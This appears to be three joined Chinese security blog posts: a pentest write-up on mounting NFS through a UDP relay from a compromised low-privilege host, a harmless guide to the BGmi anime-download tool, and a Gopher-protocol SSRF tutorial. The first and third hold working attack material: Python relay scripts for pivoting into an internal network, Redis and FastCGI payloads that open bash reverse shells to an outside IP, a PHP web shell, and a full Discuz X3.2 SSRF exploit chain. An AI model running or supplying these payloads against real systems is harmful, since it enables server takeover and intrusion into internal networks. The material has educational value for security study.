Mount NFS via Proxy

在渗透测试的时候,拿到低权限服务器账号 / webshell 后进行端口扫描后发现内网服务器开启 2049 端口,也就是 NFS 服务。但是众所周知,挂载 NFS 需要 root 权限,如果是低权限账号的话并不能利用。而且无论是端口转发也好,代理也好,运行 showmount -e target 的时候总会没有回显。
为了降低渗透测试成本,还是自力更生解决掉这个问题比较好(手动比心

0x01 NFS 数据包分析

根据 RedHat 文档说明:

The portmap service under Linux maps RPC requests to the correct services. RPC processes notify portmap when they start, revealing the port number they are monitoring and the RPC program numbers they expect to serve. The client system then contacts portmap on the server with a particular RPC program number. The portmap service redirects the client to the proper port number so it can communicate with the requested service.

通过抓包,可以发现在最开始运行 showmount -e 172.23.27.39 的时候有两个 UDP 的数据包:

这个 portmap 的数据包协商了一个 RPC 端口来进行 TCP 通信,可以发现此服务器的端口为 892。
在运行 mount_nfs 172.23.27.39:/nfs /tmp/2 的时候发现不光有 2049、892 端口的流量,还有 111 端口的 TCP 流量。

那么造成代理(比如 Tunna、reGeorg,抑或是 proxychain,还有 ssh 端口转发)下 NFS 不可挂载的罪魁祸首是不是那两个 UDP 数据包呢,答案是:的确就是它的锅。

辣鸡。

那么如何解决呢?TCP 数据包我们很容易通过 ssh 端口转发、Tunna 等方法解决,这个 UDP 数据包,找一个支持 UDP 的代理就好了嘛。
看似很简单,但是如果在渗透测试中拿到低权限账号,甚至于没有 gcc 的情况下,那该怎么办呢?为了给服务器造成最低的影响,遵循最少依赖原则,自己写一个 UDP 代理即可(微笑脸

0x02 解决方案

我们假定的攻击目标为内网 172.23.27.39,现在我们控制了一台低权限服务器,然后我们还有一台外网自己控制的服务器。
两个 Python 脚本,server.py 扔在自己的服务器上,client.py 扔在渗透拿到的服务器上。
server.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieved from {0}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {0!r} to {1}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _  = sock_dst.recvfrom(65565)
    print('received: {0!r} from {1}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {0}'.format(port))

sock_src.close()
sock_dst.close()

client.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('ricterz.me', 11111)
dst_addr = ('172.23.27.39', 111)

while True:
    try:
        print('send OK to {0}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src  = sock_src.recvfrom(65565)
        print('send: {0!r} to {1}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {0!r} from {1}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

里面的端口的 IP 自己改改,加油(光速逃
然后先在自己的服务器运行 server.py,再在渗透拿到的服务器上运行 client.py,之后再在自己的服务器上运行 showmount -e 127.0.0.1
虽然它崩掉提示 rpc mount export: RPC: Unable to receive; errno = Connection refused,但是不用 care,看左边已经输出了 RPC 端口了,然后我们就用 ssh 远程端口转发大法转发一下端口_(:3」∠)_

简单明了对不对!然后再跑一次 showmount -e 127.0.0.1

发现已经可以显示出 NFS 的共享目录了(微笑
接着我们尝试挂载 /nfs 目录到 /tmp/1

成功了(微笑脸
剩下的不必多说,祝大家身体健康。

0x03 参考


BGmi - 内网看番,快人一步

一直想写一篇文章介绍 BGmi,但是又懒散。不过今天开学第一天,又闲,突发兴致来写一篇文章介绍 BGmi。

BGmi 是一个命令行下的追番工具,同时提供 Web 界面。
Github:https://github.com/RicterZ/BGmi

文章分为如下几部分:

命令行

BGmi 分为几个模块:

订阅管理

查看可添加的订阅:

bgmi cal all

没错,就是列出当季番的更新日历。
查看订阅的番(和字幕组列表):

bgmi followed list

添加 / 删除订阅:

bgmi add "香蕉喵" "怪物彈珠"
bgmi delete --name "香蕉喵" "怪物彈珠"
bgmi delete --clear-all --batch

设置 / 删除指定的字幕组:

bgmi filter "Rewrite" "千夏"
bgmi filter "Rewrite" "千夏"--remove
bgmi filter "Rewrite" --remove-all

特别需要注意的是,如果字幕组列表长这样:

Rewrite(10) 動漫國, 千夏, 星岡, NEO·QSW, 澄空.雪飄, 喵萌茶會, 光之園, TU, 極影.漫遊

,分割的是不同字幕组,用.分割的是字幕组联合发布,添加的时候以.前第一个为准。
更新订阅:

bgmi update --download

其中--download为更新完之后自动下载,不加的话只会更新集数,不会自动下载。

修改更新集数:

bgmi followed mark 槍彈辯駁3絕望篇 1

修改集数之后再bgmi update --download将会下载《槍彈辯駁3絕望篇》第 2 到最新一集。

下载管理

列出下载列表:

bgmi download list

还可以通过状态查询:

  • 0 - 未下载
  • 1 - 下载中
  • 2 - 下载完成

比如我想看未下载的列表:

bgmi download list 0

修改下载状态:
通过上述查询到下载 ID 后,比如:

>>> ~ bgmi download list 1  
Download status value: Not Downloaded: 0 / Downloading: 1 / Downloaded: 2

Downloading items:
  57. <槍彈辯駁3絕望篇: 8>

修改这个条目为已下载:

bgmi download mark 57 2

配置

列出配置:

bgmi config

修改配置:

bgmi config MAX_PAGE 3

以下为各个配置项的解释:

  • DMHY_URL:动漫花园的镜像地址,当然你可以自己搭建,墙外的话可以直接写动漫花园源站地址
  • BGMI_SAVE_PATH:下载的番的存放地址
  • BGMI_TMP_PATH:临时目录
  • MAX_PAGE:获取 Bangumi 下载条目信息的时候获取数据的页数
  • DOWNLOAD_DELEGATE:下载委托,也就是用什么下载,目前支持如下几个
  • xunleixunlei-lixian 脚本
  • aria2:用 aria2c 大法下载
  • aria2-rpc:将数据传送到 aria2c daemon 进行下载
  • BGMI_LX_PATH:xunlei-lixian 的二进制文件地址
  • ARIA2_PATH:aria2c 的二进制文件地址
  • ARIA2_RPC_URL:aria2c rpc 的 URL 地址

杂项

当季番的更新日历:

bgmi cal all --force-update

查看 BGmi 版本:

bgmi --version

BGmi HTTP Service

BGmi 搭配 xunlei-lixian 适用于个人 PC,如果想搭建在路由器 / 树莓派 / 内网的话,推荐搭配是 BGmi / bgmi_http / aria2-rpc / yaaw / nginx BGmi HTTP Service 是我用 tornado 简单的写的,搭建需要如下几步:

修改 BGmi 为 aria2-rpc 模式,并启动 aria2 daemon。
首先安装 aria2 不必多说,然后修改配置文件~/.aria2/aria2.conf

enable-rpc=true
rpc-allow-origin-all=true
rpc-listen-all=true
# 如果你想做种的话,就把下面这一句删掉
seed-time=0

然后修改 BGmi 为 aria2-rpc 模式:

bgmi config DOWNLOAD_DELEGATE aria2-rpc

接着:

  • 启动 BGmi HTTP Service:bgmi_http
  • 启动 aria2:aria2c --conf-path=/home/ricter/.aria2/aria2.conf
  • 修改 nginx 配置文件,并重新启动 nginx

因为 tornado 处理静态文件比较低效,特别是下载的番,每一个都很大。

server {
        listen 80;
        root /var/www/html/bangumi;
        autoindex on;
        charset utf8;
        server_name bangumi.ricterz.me;

        location /bangumi {
            alias /home/ricter/.bgmi/bangumi;
        }

        location /bgmi_admin {
            auth_basic "BGmi admin (yaaw)";
            auth_basic_user_file /etc/nginx/htpasswd;
            alias /var/www/html/yaaw/;
        }

        location / {
            proxy_pass http://127.0.0.1:8888;
        }

}

其中/home/ricter/.bgmi/bangumi是番的下载目录,将/bangumi请求全部 alias 到这里即可。
如果可以的话,可以用 yaaw 做一个 admin,最好设置上密码,当然如果你把 6800 端口(aria2 daemon)绑定在 0.0.0.0 话,基本什么用了...
讲道理,安全的方法是将 6800 端口绑定在 127.0.0.1,然后 nginx 配置里添加一句:

    location /some_secret_path {
        proxy_pass http://127.0.0.1:6800;
   }

然后 yaaw 里配置 daemon 地址到这里即可。
然后就可以享受内网极速看番的乐趣了 XD

下面是重邮校内 Bangumi 服务,前端我做了一点修改,当然你也可以自己做一套前端啦。

http://ww1.sinaimg.cn/large/b55b6a91gw1f7hqstmlqmj21iw0ztttq.jpg


利用 gopher 协议拓展攻击面

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

攻击面测试

环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

攻击实例

利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg 测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg
攻击视频: 点我喵

系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

参考